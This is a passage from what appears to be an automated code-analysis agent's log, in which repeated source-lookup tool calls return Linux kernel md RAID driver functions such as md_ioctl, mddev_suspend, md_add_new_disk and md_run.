8330: if (mddev->raid_disks) {
8331: pr_warn("md: array %s already initialised!\n", mdname(mddev));
8332: return -EBUSY;
8333: }
8334:
8335: err = md_set_array_info(mddev, &info);
8336: if (err)
8337: pr_warn("md: couldn't set array info. %d\n", err);
8338:
8339: return err;
8340: }
SourceFile:drivers/md/md.c]
|
| 238/2 |
2026/08/26 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 112438
output: 23
thoughts: 0
|
| 239/2 |
2026/08/26 10:43 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8267: static inline int md_ioctl_valid(unsigned int cmd)
8268: {
8269: switch (cmd) {
8270: case GET_ARRAY_INFO:
8271: case GET_DISK_INFO:
8272: case RAID_VERSION:
8273: return 0;
8274: case ADD_NEW_DISK:
8275: case GET_BITMAP_FILE:
8276: case HOT_ADD_DISK:
8277: case HOT_REMOVE_DISK:
8278: case RESTART_ARRAY_RW:
8279: case RUN_ARRAY:
8280: case SET_ARRAY_INFO:
8281: case SET_BITMAP_FILE:
8282: case SET_DISK_FAULTY:
8283: case STOP_ARRAY:
8284: case STOP_ARRAY_RO:
8285: case CLUSTERED_DISK_NACK:
8286: if (!capable(CAP_SYS_ADMIN))
8287: return -EACCES;
8288: return 0;
8289: default:
8290: return -ENOTTY;
8291: }
8292: }
SourceFile:drivers/md/md.c]
|
| 240/2 |
2026/08/26 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 112830
output: 21
thoughts: 0
|
| 241/2 |
2026/08/26 10:44 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8342: static int md_ioctl(struct block_device *bdev, blk_mode_t mode,
8343: unsigned int cmd, unsigned long arg)
8344: {
8345: int err = 0;
8346: unsigned int noio_flags = 0;
8347: void __user *argp = (void __user *)arg;
8348: struct mddev *mddev = NULL;
8349: bool suspend;
8350:
8351: err = md_ioctl_valid(cmd);
8352: if (err)
8353: return err;
8354:
8355: /*
8356: * Commands dealing with the RAID driver but not any
8357: * particular array:
8358: */
8359: if (cmd == RAID_VERSION)
8360: return get_version(argp);
8361:
8362: /*
8363: * Commands creating/starting a new array:
8364: */
8365:
8366: mddev = bdev->bd_disk->private_data;
8367:
8368: /* Some actions do not requires the mutex */
8369: switch (cmd) {
8370: case GET_ARRAY_INFO:
8371: if (!mddev->raid_disks && !mddev->external)
8372: return -ENODEV;
8373: return get_array_info(mddev, argp);
8374:
8375: case GET_DISK_INFO:
8376: if (!mddev->raid_disks && !mddev->external)
8377: return -ENODEV;
8378: return get_disk_info(mddev, argp);
8379:
8380: case SET_DISK_FAULTY:
8381: return set_disk_faulty(mddev, new_decode_dev(arg));
8382:
8383: case GET_BITMAP_FILE:
8384: return get_bitmap_file(mddev, argp);
8385: }
8386:
8387: if (cmd == STOP_ARRAY || cmd == STOP_ARRAY_RO) {
8388: /* Need to flush page cache, and ensure no-one else opens
8389: * and writes
8390: */
8391: err = mddev_set_closing_and_sync_blockdev(mddev, 1);
8392: if (err)
8393: return err;
8394: }
8395:
8396: if (!md_is_rdwr(mddev))
8397: flush_work(&mddev->sync_work);
8398:
8399: suspend = md_ioctl_need_suspend(cmd);
8400: err = suspend ? mddev_suspend_and_lock(mddev) : mddev_lock(mddev);
8401: if (err) {
8402: pr_debug("md: ioctl lock interrupted, reason %d, cmd %d\n",
8403: err, cmd);
8404: goto out;
8405: }
8406: if (suspend)
8407: noio_flags = memalloc_noio_save();
8408:
8409: if (cmd == SET_ARRAY_INFO) {
8410: err = __md_set_array_info(mddev, argp);
8411: goto unlock;
8412: }
8413:
8414: /*
8415: * Commands querying/configuring an existing array:
8416: */
8417: /* if we are not initialised yet, only ADD_NEW_DISK, STOP_ARRAY,
8418: * RUN_ARRAY, and GET_ and SET_BITMAP_FILE are allowed */
8419: if ((!mddev->raid_disks && !mddev->external)
8420: && cmd != ADD_NEW_DISK && cmd != STOP_ARRAY
8421: && cmd != RUN_ARRAY && cmd != SET_BITMAP_FILE
8422: && cmd != GET_BITMAP_FILE) {
8423: err = -ENODEV;
8424: goto unlock;
8425: }
8426:
8427: /*
8428: * Commands even a read-only array can execute:
8429: */
8430: switch (cmd) {
8431: case RESTART_ARRAY_RW:
8432: err = restart_array(mddev);
8433: goto unlock;
8434:
8435: case STOP_ARRAY:
8436: err = do_md_stop(mddev, 0);
8437: goto unlock;
8438:
8439: case STOP_ARRAY_RO:
8440: if (mddev->pers)
8441: err = md_set_readonly(mddev);
8442: goto unlock;
8443:
8444: case HOT_REMOVE_DISK:
8445: err = hot_remove_disk(mddev, new_decode_dev(arg));
8446: goto unlock;
8447:
8448: case ADD_NEW_DISK:
8449: /* We can support ADD_NEW_DISK on read-only arrays
8450: * only if we are re-adding a preexisting device.
8451: * So require mddev->pers and MD_DISK_SYNC.
8452: */
8453: if (mddev->pers) {
8454: mdu_disk_info_t info;
8455: if (copy_from_user(&info, argp, sizeof(info)))
8456: err = -EFAULT;
8457: else if (!(info.state & (1<<MD_DISK_SYNC)))
8458: /* Need to clear read-only for this */
8459: break;
8460: else
8461: err = md_add_new_disk(mddev, &info);
8462: goto unlock;
8463: }
8464: break;
8465: }
8466:
8467: /*
8468: * The remaining ioctls are changing the state of the
8469: * superblock, so we do not allow them on read-only arrays.
8470: */
8471: if (!md_is_rdwr(mddev) && mddev->pers) {
8472: if (mddev->ro != MD_AUTO_READ) {
8473: err = -EROFS;
8474: goto unlock;
8475: }
8476: mddev->ro = MD_RDWR;
8477: sysfs_notify_dirent_safe(mddev->sysfs_state);
8478: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
8479: /* mddev_unlock will wake thread */
8480: /* If a device failed while we were read-only, we
8481: * need to make sure the metadata is updated now.
8482: */
8483: if (test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags)) {
8484: mddev_unlock(mddev);
8485: wait_event(mddev->sb_wait,
8486: !test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags) &&
8487: !test_bit(MD_SB_CHANGE_PENDING, &mddev->sb_flags));
8488: mddev_lock_nointr(mddev);
8489: }
8490: }
8491:
8492: switch (cmd) {
8493: case ADD_NEW_DISK:
8494: {
8495: mdu_disk_info_t info;
8496: if (copy_from_user(&info, argp, sizeof(info)))
8497: err = -EFAULT;
8498: else
8499: err = md_add_new_disk(mddev, &info);
8500: goto unlock;
8501: }
8502:
8503: case CLUSTERED_DISK_NACK:
8504: if (mddev_is_clustered(mddev))
8505: mddev->cluster_ops->new_disk_ack(mddev, false);
8506: else
8507: err = -EINVAL;
8508: goto unlock;
8509:
8510: case HOT_ADD_DISK:
8511: err = hot_add_disk(mddev, new_decode_dev(arg));
8512: goto unlock;
8513:
8514: case RUN_ARRAY:
8515: err = do_md_run(mddev);
8516: goto unlock;
8517:
8518: case SET_BITMAP_FILE:
8519: err = set_bitmap_file(mddev, (int)arg);
8520: goto unlock;
8521:
8522: default:
8523: err = -EINVAL;
8524: goto unlock;
8525: }
8526:
8527: unlock:
8528: if (mddev->hold_active == UNTIL_IOCTL &&
8529: err != -EINVAL)
8530: mddev->hold_active = 0;
8531:
8532: if (suspend) {
8533: memalloc_noio_restore(noio_flags);
8534: mddev_unlock_and_resume(mddev);
8535: } else {
8536: mddev_unlock(mddev);
8537: }
8538:
8539: out:
8540: if (cmd == STOP_ARRAY_RO || (err && cmd == STOP_ARRAY))
8541: clear_bit(MD_CLOSING, &mddev->flags);
8542: return err;
8543: }
SourceFile:drivers/md/md.c]
|
| 242/2 |
2026/08/26 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 115751
output: 27
thoughts: 0
|
| 243/2 |
2026/08/26 10:44 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_suspend_and_lock]
Results: map[SourceCode:1011: static inline int mddev_suspend_and_lock(struct mddev *mddev)
1012: {
1013: int ret;
1014:
1015: ret = mddev_suspend(mddev, true);
1016: if (ret)
1017: return ret;
1018:
1019: ret = mddev_lock(mddev);
1020: if (ret)
1021: mddev_resume(mddev);
1022:
1023: return ret;
1024: }
SourceFile:drivers/md/md.h]
|
| 244/2 |
2026/08/26 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 115976
output: 23
thoughts: 0
|
| 245/2 |
2026/08/26 10:44 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 461: /*
462: * Make sure no new requests are submitted to the device, and any requests that
463: * have been submitted are completely handled.
464: */
465: int mddev_suspend(struct mddev *mddev, bool interruptible)
466: {
467: int err = 0;
468:
469: /*
470: * hold reconfig_mutex to wait for normal io will deadlock, because
471: * other context can't update super_block, and normal io can rely on
472: * updating super_block.
473: */
474: lockdep_assert_not_held(&mddev->reconfig_mutex);
475:
476: if (interruptible)
477: err = mutex_lock_interruptible(&mddev->suspend_mutex);
478: else
479: mutex_lock(&mddev->suspend_mutex);
480: if (err)
481: return err;
482:
483: if (mddev->suspended) {
484: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
485: mutex_unlock(&mddev->suspend_mutex);
486: return 0;
487: }
488:
489: percpu_ref_kill(&mddev->active_io);
490:
491: /*
492: * RAID456 IO can sleep in wait_for_reshape while still holding an
493: * active_io reference. If reshape is already interrupted or frozen,
494: * wake those waiters so they can abort and drop the reference instead
495: * of deadlocking suspend.
496: */
497: if (mddev->pers && mddev->pers->prepare_suspend &&
498: reshape_interrupted(mddev))
499: mddev->pers->prepare_suspend(mddev);
500:
501: if (interruptible)
502: err = wait_event_interruptible(mddev->sb_wait,
503: percpu_ref_is_zero(&mddev->active_io));
504: else
505: wait_event(mddev->sb_wait,
506: percpu_ref_is_zero(&mddev->active_io));
507: if (err) {
508: percpu_ref_resurrect(&mddev->active_io);
509: mutex_unlock(&mddev->suspend_mutex);
510: return err;
511: }
512:
513: /*
514: * For raid456, io might be waiting for reshape to make progress,
515: * allow new reshape to start while waiting for io to be done to
516: * prevent deadlock.
517: */
518: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
519:
520: mutex_unlock(&mddev->suspend_mutex);
521: return 0;
522: }
SourceFile:drivers/md/md.c]
|
| 246/2 |
2026/08/26 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 116936
output: 22
thoughts: 0
|
| 247/2 |
2026/08/26 10:44 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 709: static inline int __must_check mddev_lock(struct mddev *mddev)
710: {
711: int ret;
712:
713: ret = mutex_lock_interruptible(&mddev->reconfig_mutex);
714:
715: /* MD_DELETED is set in do_md_stop with reconfig_mutex.
716: * So check it here.
717: */
718: if (!ret && test_bit(MD_DELETED, &mddev->flags)) {
719: ret = -ENODEV;
720: mutex_unlock(&mddev->reconfig_mutex);
721: }
722:
723: return ret;
724: }
SourceFile:drivers/md/md.h]
|
| 248/2 |
2026/08/26 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 117210
output: 22
thoughts: 0
|
| 249/2 |
2026/08/26 10:44 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 915: void mddev_unlock(struct mddev *mddev)
916: {
917: struct md_rdev *rdev;
918: struct md_rdev *tmp;
919: LIST_HEAD(delete);
920:
921: if (!list_empty(&mddev->deleting))
922: list_splice_init(&mddev->deleting, &delete);
923:
924: if (mddev->to_remove) {
925: /* These cannot be removed under reconfig_mutex as
926: * an access to the files will try to take reconfig_mutex
927: * while holding the file unremovable, which leads to
928: * a deadlock.
929: * So hold set sysfs_active while the remove in happeing,
930: * and anything else which might set ->to_remove or my
931: * otherwise change the sysfs namespace will fail with
932: * -EBUSY if sysfs_active is still set.
933: * We set sysfs_active under reconfig_mutex and elsewhere
934: * test it under the same mutex to ensure its correct value
935: * is seen.
936: */
937: const struct attribute_group *to_remove = mddev->to_remove;
938: mddev->to_remove = NULL;
939: mddev->sysfs_active = 1;
940: mutex_unlock(&mddev->reconfig_mutex);
941:
942: if (mddev->kobj.sd) {
943: if (to_remove != &md_redundancy_group)
944: sysfs_remove_group(&mddev->kobj, to_remove);
945: if (mddev->pers == NULL ||
946: mddev->pers->sync_request == NULL) {
947: sysfs_remove_group(&mddev->kobj, &md_redundancy_group);
948: if (mddev->sysfs_action)
949: sysfs_put(mddev->sysfs_action);
950: if (mddev->sysfs_completed)
951: sysfs_put(mddev->sysfs_completed);
952: if (mddev->sysfs_degraded)
953: sysfs_put(mddev->sysfs_degraded);
954: mddev->sysfs_action = NULL;
955: mddev->sysfs_completed = NULL;
956: mddev->sysfs_degraded = NULL;
957: }
958: }
959: mddev->sysfs_active = 0;
960: } else
961: mutex_unlock(&mddev->reconfig_mutex);
962:
963: md_wakeup_thread(mddev->thread);
964: wake_up(&mddev->sb_wait);
965:
966: list_for_each_entry_safe(rdev, tmp, &delete, same_set) {
967: list_del_init(&rdev->same_set);
968: kobject_del(&rdev->kobj);
969: export_rdev(rdev);
970: }
971:
972: if (!legacy_async_del_gendisk) {
973: /*
974: * Call del_gendisk after release reconfig_mutex to avoid
975: * deadlock (e.g. call del_gendisk under the lock and an
976: * access to sysfs files waits the lock)
977: * And MD_DELETED is only used for md raid which is set in
978: * do_md_stop. dm raid only uses md_stop to stop. So dm raid
979: * doesn't need to check MD_DELETED when getting reconfig lock
980: */
981: if (test_bit(MD_DELETED, &mddev->flags) &&
982: !test_and_set_bit(MD_DO_DELETE, &mddev->flags)) {
983: kobject_del(&mddev->kobj);
984: del_gendisk(mddev->gendisk);
985: }
986: }
987: }
SourceFile:drivers/md/md.c]
|
| 250/2 |
2026/08/26 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 118485
output: 22
thoughts: 0
|
| 251/2 |
2026/08/26 10:44 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 547: void mddev_resume(struct mddev *mddev)
548: {
549: return __mddev_resume(mddev, true);
550: }
SourceFile:drivers/md/md.c]
|
| 252/2 |
2026/08/26 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 118592
output: 23
thoughts: 0
|
| 253/2 |
2026/08/26 10:44 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 525: static void __mddev_resume(struct mddev *mddev, bool recovery_needed)
526: {
527: lockdep_assert_not_held(&mddev->reconfig_mutex);
528:
529: mutex_lock(&mddev->suspend_mutex);
530: WRITE_ONCE(mddev->suspended, mddev->suspended - 1);
531: if (mddev->suspended) {
532: mutex_unlock(&mddev->suspend_mutex);
533: return;
534: }
535:
536: percpu_ref_resurrect(&mddev->active_io);
537: wake_up(&mddev->sb_wait);
538:
539: if (recovery_needed)
540: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
541: md_wakeup_thread(mddev->thread);
542: md_wakeup_thread(mddev->sync_thread); /* possibly kick off a reshape */
543:
544: mutex_unlock(&mddev->suspend_mutex);
545: }
SourceFile:drivers/md/md.c]
|
| 254/2 |
2026/08/26 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 118977
output: 26
thoughts: 0
|
| 255/2 |
2026/08/26 10:44 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_unlock_and_resume]
Results: map[SourceCode:1032: static inline void mddev_unlock_and_resume(struct mddev *mddev)
1033: {
1034: mddev_unlock(mddev);
1035: mddev_resume(mddev);
1036: }
SourceFile:drivers/md/md.h]
|
| 256/2 |
2026/08/26 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 119105
output: 23
thoughts: 0
|
| 257/2 |
2026/08/26 10:44 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8267: static inline int md_ioctl_valid(unsigned int cmd)
8268: {
8269: switch (cmd) {
8270: case GET_ARRAY_INFO:
8271: case GET_DISK_INFO:
8272: case RAID_VERSION:
8273: return 0;
8274: case ADD_NEW_DISK:
8275: case GET_BITMAP_FILE:
8276: case HOT_ADD_DISK:
8277: case HOT_REMOVE_DISK:
8278: case RESTART_ARRAY_RW:
8279: case RUN_ARRAY:
8280: case SET_ARRAY_INFO:
8281: case SET_BITMAP_FILE:
8282: case SET_DISK_FAULTY:
8283: case STOP_ARRAY:
8284: case STOP_ARRAY_RO:
8285: case CLUSTERED_DISK_NACK:
8286: if (!capable(CAP_SYS_ADMIN))
8287: return -EACCES;
8288: return 0;
8289: default:
8290: return -ENOTTY;
8291: }
8292: }
SourceFile:drivers/md/md.c]
|
| 258/2 |
2026/08/26 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 119497
output: 25
thoughts: 0
|
| 259/2 |
2026/08/26 10:44 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_add_new_disk]
Results: map[SourceCode:7489: int md_add_new_disk(struct mddev *mddev, struct mdu_disk_info_s *info)
7490: {
7491: struct md_rdev *rdev;
7492: dev_t dev = MKDEV(info->major,info->minor);
7493:
7494: if (mddev_is_clustered(mddev) &&
7495: !(info->state & ((1 << MD_DISK_CLUSTER_ADD) | (1 << MD_DISK_CANDIDATE)))) {
7496: pr_warn("%s: Cannot add to clustered mddev.\n",
7497: mdname(mddev));
7498: return -EINVAL;
7499: }
7500:
7501: if (info->major != MAJOR(dev) || info->minor != MINOR(dev))
7502: return -EOVERFLOW;
7503:
7504: if (!mddev->raid_disks) {
7505: int err;
7506: /* expecting a device which has a superblock */
7507: rdev = md_import_device(dev, mddev->major_version, mddev->minor_version);
7508: if (IS_ERR(rdev)) {
7509: pr_warn("md: md_import_device returned %ld\n",
7510: PTR_ERR(rdev));
7511: return PTR_ERR(rdev);
7512: }
7513: if (!list_empty(&mddev->disks)) {
7514: struct md_rdev *rdev0
7515: = list_entry(mddev->disks.next,
7516: struct md_rdev, same_set);
7517: err = super_types[mddev->major_version]
7518: .load_super(rdev, rdev0, mddev->minor_version);
7519: if (err < 0) {
7520: pr_warn("md: %pg has different UUID to %pg\n",
7521: rdev->bdev,
7522: rdev0->bdev);
7523: export_rdev(rdev);
7524: return -EINVAL;
7525: }
7526: }
7527: err = bind_rdev_to_array(rdev, mddev);
7528: if (err)
7529: export_rdev(rdev);
7530: return err;
7531: }
7532:
7533: /*
7534: * md_add_new_disk can be used once the array is assembled
7535: * to add "hot spares". They must already have a superblock
7536: * written
7537: */
7538: if (mddev->pers) {
7539: int err;
7540: if (!mddev->pers->hot_add_disk) {
7541: pr_warn("%s: personality does not support diskops!\n",
7542: mdname(mddev));
7543: return -EINVAL;
7544: }
7545: if (mddev->persistent)
7546: rdev = md_import_device(dev, mddev->major_version,
7547: mddev->minor_version);
7548: else
7549: rdev = md_import_device(dev, -1, -1);
7550: if (IS_ERR(rdev)) {
7551: pr_warn("md: md_import_device returned %ld\n",
7552: PTR_ERR(rdev));
7553: return PTR_ERR(rdev);
7554: }
7555: /* set saved_raid_disk if appropriate */
7556: if (!mddev->persistent) {
7557: if (info->state & (1<<MD_DISK_SYNC) &&
7558: info->raid_disk < mddev->raid_disks) {
7559: rdev->raid_disk = info->raid_disk;
7560: clear_bit(Bitmap_sync, &rdev->flags);
7561: } else
7562: rdev->raid_disk = -1;
7563: rdev->saved_raid_disk = rdev->raid_disk;
7564: } else
7565: super_types[mddev->major_version].
7566: validate_super(mddev, NULL/*freshest*/, rdev);
7567: if ((info->state & (1<<MD_DISK_SYNC)) &&
7568: rdev->raid_disk != info->raid_disk) {
7569: /* This was a hot-add request, but events doesn't
7570: * match, so reject it.
7571: */
7572: export_rdev(rdev);
7573: return -EINVAL;
7574: }
7575:
7576: clear_bit(In_sync, &rdev->flags); /* just to be sure */
7577: if (info->state & (1<<MD_DISK_WRITEMOSTLY))
7578: set_bit(WriteMostly, &rdev->flags);
7579: else
7580: clear_bit(WriteMostly, &rdev->flags);
7581: if (info->state & (1<<MD_DISK_FAILFAST))
7582: set_bit(FailFast, &rdev->flags);
7583: else
7584: clear_bit(FailFast, &rdev->flags);
7585:
7586: if (info->state & (1<<MD_DISK_JOURNAL)) {
7587: struct md_rdev *rdev2;
7588: bool has_journal = false;
7589:
7590: /* make sure no existing journal disk */
7591: rdev_for_each(rdev2, mddev) {
7592: if (test_bit(Journal, &rdev2->flags)) {
7593: has_journal = true;
7594: break;
7595: }
7596: }
7597: if (has_journal || mddev->bitmap) {
7598: export_rdev(rdev);
7599: return -EBUSY;
7600: }
7601: set_bit(Journal, &rdev->flags);
7602: }
7603: /*
7604: * check whether the device shows up in other nodes
7605: */
7606: if (mddev_is_clustered(mddev)) {
7607: if (info->state & (1 << MD_DISK_CANDIDATE))
7608: set_bit(Candidate, &rdev->flags);
7609: else if (info->state & (1 << MD_DISK_CLUSTER_ADD)) {
7610: /* --add initiated by this node */
7611: err = mddev->cluster_ops->add_new_disk(mddev, rdev);
7612: if (err) {
7613: export_rdev(rdev);
7614: return err;
7615: }
7616: }
7617: }
7618:
7619: rdev->raid_disk = -1;
7620: err = bind_rdev_to_array(rdev, mddev);
7621:
7622: if (err)
7623: export_rdev(rdev);
7624:
7625: if (mddev_is_clustered(mddev)) {
7626: if (info->state & (1 << MD_DISK_CANDIDATE)) {
7627: if (!err) {
7628: err = mddev->cluster_ops->new_disk_ack(
7629: mddev, err == 0);
7630: if (err)
7631: md_kick_rdev_from_array(rdev);
7632: }
7633: } else {
7634: if (err)
7635: mddev->cluster_ops->add_new_disk_cancel(mddev);
7636: else
7637: err = add_bound_rdev(rdev);
7638: }
7639:
7640: } else if (!err)
7641: err = add_bound_rdev(rdev);
7642:
7643: return err;
7644: }
7645:
7646: /* otherwise, md_add_new_disk is only allowed
7647: * for major_version==0 superblocks
7648: */
7649: if (mddev->major_version != 0) {
7650: pr_warn("%s: ADD_NEW_DISK not supported\n", mdname(mddev));
7651: return -EINVAL;
7652: }
7653:
7654: if (!(info->state & (1<<MD_DISK_FAULTY))) {
7655: int err;
7656: rdev = md_import_device(dev, -1, 0);
7657: if (IS_ERR(rdev)) {
7658: pr_warn("md: error, md_import_device() returned %ld\n",
7659: PTR_ERR(rdev));
7660: return PTR_ERR(rdev);
7661: }
7662: rdev->desc_nr = info->number;
7663: if (info->raid_disk < mddev->raid_disks)
7664: rdev->raid_disk = info->raid_disk;
7665: else
7666: rdev->raid_disk = -1;
7667:
7668: if (rdev->raid_disk < mddev->raid_disks)
7669: if (info->state & (1<<MD_DISK_SYNC))
7670: set_bit(In_sync, &rdev->flags);
7671:
7672: if (info->state & (1<<MD_DISK_WRITEMOSTLY))
7673: set_bit(WriteMostly, &rdev->flags);
7674: if (info->state & (1<<MD_DISK_FAILFAST))
7675: set_bit(FailFast, &rdev->flags);
7676:
7677: if (!mddev->persistent) {
7678: pr_debug("md: nonpersistent superblock ...\n");
7679: rdev->sb_start = bdev_nr_sectors(rdev->bdev);
7680: } else
7681: rdev->sb_start = calc_dev_sboffset(rdev);
7682: rdev->sectors = rdev->sb_start;
7683:
7684: err = bind_rdev_to_array(rdev, mddev);
7685: if (err) {
7686: export_rdev(rdev);
7687: return err;
7688: }
7689: }
7690:
7691: return 0;
7692: }
SourceFile:drivers/md/md.c]
|
| 260/2 |
2026/08/26 10:44 |
llm |
expert |
0m
Model:
Tokens:
input: 122720
output: 21
thoughts: 0
|
| 261/2 |
2026/08/26 10:45 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:6650: int md_run(struct mddev *mddev)
6651: {
6652: int err;
6653: struct md_rdev *rdev;
6654: struct md_personality *pers;
6655:
6656: if (list_empty(&mddev->disks))
6657: /* cannot run an array with no devices.. */
6658: return -EINVAL;
6659:
6660: if (mddev->pers)
6661: return -EBUSY;
6662: /* Cannot run until previous stop completes properly */
6663: if (mddev->sysfs_active)
6664: return -EBUSY;
6665:
6666: /*
6667: * Analyze all RAID superblock(s)
6668: */
6669: if (!mddev->raid_disks) {
6670: if (!mddev->persistent)
6671: return -EINVAL;
6672: err = analyze_sbs(mddev);
6673: if (err)
6674: return -EINVAL;
6675: }
6676:
6677: if (mddev->level != LEVEL_NONE)
6678: request_module("md-level-%d", mddev->level);
6679: else if (mddev->clevel[0])
6680: request_module("md-%s", mddev->clevel);
6681:
6682: /*
6683: * Drop all container device buffers, from now on
6684: * the only valid external interface is through the md
6685: * device.
6686: */
6687: clear_bit(MD_HAS_SUPERBLOCK, &mddev->flags);
6688: rdev_for_each(rdev, mddev) {
6689: if (test_bit(Faulty, &rdev->flags))
6690: continue;
6691: sync_blockdev(rdev->bdev);
6692: invalidate_bdev(rdev->bdev);
6693: if (mddev->ro != MD_RDONLY && rdev_read_only(rdev)) {
6694: mddev->ro = MD_RDONLY;
6695: if (!mddev_is_dm(mddev))
6696: set_disk_ro(mddev->gendisk, 1);
6697: }
6698:
6699: if (rdev->sb_page)
6700: set_bit(MD_HAS_SUPERBLOCK, &mddev->flags);
6701:
6702: /* perform some consistency tests on the device.
6703: * We don't want the data to overlap the metadata,
6704: * Internal Bitmap issues have been handled elsewhere.
6705: */
6706: if (rdev->meta_bdev) {
6707: /* Nothing to check */;
6708: } else if (rdev->data_offset < rdev->sb_start) {
6709: if (mddev->dev_sectors &&
6710: rdev->data_offset + mddev->dev_sectors
6711: > rdev->sb_start) {
6712: pr_warn("md: %s: data overlaps metadata\n",
6713: mdname(mddev));
6714: return -EINVAL;
6715: }
6716: } else {
6717: if (rdev->sb_start + rdev->sb_size/512
6718: > rdev->data_offset) {
6719: pr_warn("md: %s: metadata overlaps data\n",
6720: mdname(mddev));
6721: return -EINVAL;
6722: }
6723: }
6724: sysfs_notify_dirent_safe(rdev->sysfs_state);
6725: }
6726:
6727: pers = get_pers(mddev->level, mddev->clevel);
6728: if (!pers)
6729: return -EINVAL;
6730: if (mddev->level != pers->head.id) {
6731: mddev->level = pers->head.id;
6732: mddev->new_level = pers->head.id;
6733: }
6734: strscpy(mddev->clevel, pers->head.name, sizeof(mddev->clevel));
6735:
6736: if (mddev->reshape_position != MaxSector &&
6737: pers->start_reshape == NULL) {
6738: /* This personality cannot handle reshaping... */
6739: put_pers(pers);
6740: return -EINVAL;
6741: }
6742:
6743: if (pers->sync_request) {
6744: /* Warn if this is a potentially silly
6745: * configuration.
6746: */
6747: struct md_rdev *rdev2;
6748: int warned = 0;
6749:
6750: rdev_for_each(rdev, mddev)
6751: rdev_for_each(rdev2, mddev) {
6752: if (rdev < rdev2 &&
6753: rdev->bdev->bd_disk ==
6754: rdev2->bdev->bd_disk) {
6755: pr_warn("%s: WARNING: %pg appears to be on the same physical disk as %pg.\n",
6756: mdname(mddev),
6757: rdev->bdev,
6758: rdev2->bdev);
6759: warned = 1;
6760: }
6761: }
6762:
6763: if (warned)
6764: pr_warn("True protection against single-disk failure might be compromised.\n");
6765: }
6766:
6767: /* dm-raid expect sync_thread to be frozen until resume */
6768: if (!mddev_is_dm(mddev))
6769: mddev->recovery = 0;
6770:
6771: /* may be over-ridden by personality */
6772: mddev->resync_max_sectors = mddev->dev_sectors;
6773:
6774: mddev->ok_start_degraded = start_dirty_degraded;
6775:
6776: if (start_readonly && md_is_rdwr(mddev))
6777: mddev->ro = MD_AUTO_READ; /* read-only, but switch on first write */
6778:
6779: err = pers->run(mddev);
6780: if (err)
6781: pr_warn("md: pers->run() failed ...\n");
6782: else if (pers->size(mddev, 0, 0) < mddev->array_sectors) {
6783: WARN_ONCE(!mddev->external_size,
6784: "%s: default size too small, but 'external_size' not in effect?\n",
6785: __func__);
6786: pr_warn("md: invalid array_size %llu > default size %llu\n",
6787: (unsigned long long)mddev->array_sectors / 2,
6788: (unsigned long long)pers->size(mddev, 0, 0) / 2);
6789: err = -EINVAL;
6790: }
6791: if (err == 0 && pers->sync_request &&
6792: (mddev->bitmap_info.file || mddev->bitmap_info.offset)) {
6793: err = md_bitmap_create(mddev);
6794: if (err)
6795: pr_warn("%s: failed to create bitmap (%d)\n",
6796: mdname(mddev), err);
6797: }
6798: if (err)
6799: goto bitmap_abort;
6800:
6801: if (mddev->bitmap_info.max_write_behind > 0) {
6802: bool create_pool = false;
6803:
6804: rdev_for_each(rdev, mddev) {
6805: if (test_bit(WriteMostly, &rdev->flags) &&
6806: rdev_init_serial(rdev))
6807: create_pool = true;
6808: }
6809: if (create_pool && mddev->serial_info_pool == NULL) {
6810: mddev->serial_info_pool =
6811: mempool_create_kmalloc_pool(NR_SERIAL_INFOS,
6812: sizeof(struct serial_info));
6813: if (!mddev->serial_info_pool) {
6814: err = -ENOMEM;
6815: goto bitmap_abort;
6816: }
6817: }
6818: }
6819:
6820: if (pers->sync_request) {
6821: if (mddev->kobj.sd &&
6822: sysfs_create_group(&mddev->kobj, &md_redundancy_group))
6823: pr_warn("md: cannot register extra attributes for %s\n",
6824: mdname(mddev));
6825: mddev->sysfs_action = sysfs_get_dirent_safe(mddev->kobj.sd, "sync_action");
6826: mddev->sysfs_completed = sysfs_get_dirent_safe(mddev->kobj.sd, "sync_completed");
6827: mddev->sysfs_degraded = sysfs_get_dirent_safe(mddev->kobj.sd, "degraded");
6828: } else if (mddev->ro == MD_AUTO_READ)
6829: mddev->ro = MD_RDWR;
6830:
6831: atomic_set(&mddev->max_corr_read_errors,
6832: MD_DEFAULT_MAX_CORRECTED_READ_ERRORS);
6833: mddev->safemode = 0;
6834: if (mddev_is_clustered(mddev))
6835: mddev->safemode_delay = 0;
6836: else
6837: mddev->safemode_delay = DEFAULT_SAFEMODE_DELAY;
6838: mddev->in_sync = 1;
6839: smp_wmb();
6840: spin_lock(&mddev->lock);
6841: mddev->pers = pers;
6842: spin_unlock(&mddev->lock);
6843: rdev_for_each(rdev, mddev)
6844: if (rdev->raid_disk >= 0)
6845: sysfs_link_rdev(mddev, rdev); /* failure here is OK */
6846:
6847: if (mddev->degraded && md_is_rdwr(mddev))
6848: /* This ensures that recovering status is reported immediately
6849: * via sysfs - until a lack of spares is confirmed.
6850: */
6851: set_bit(MD_RECOVERY_RECOVER, &mddev->recovery);
6852: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
6853:
6854: if (mddev->sb_flags)
6855: md_update_sb(mddev, 0);
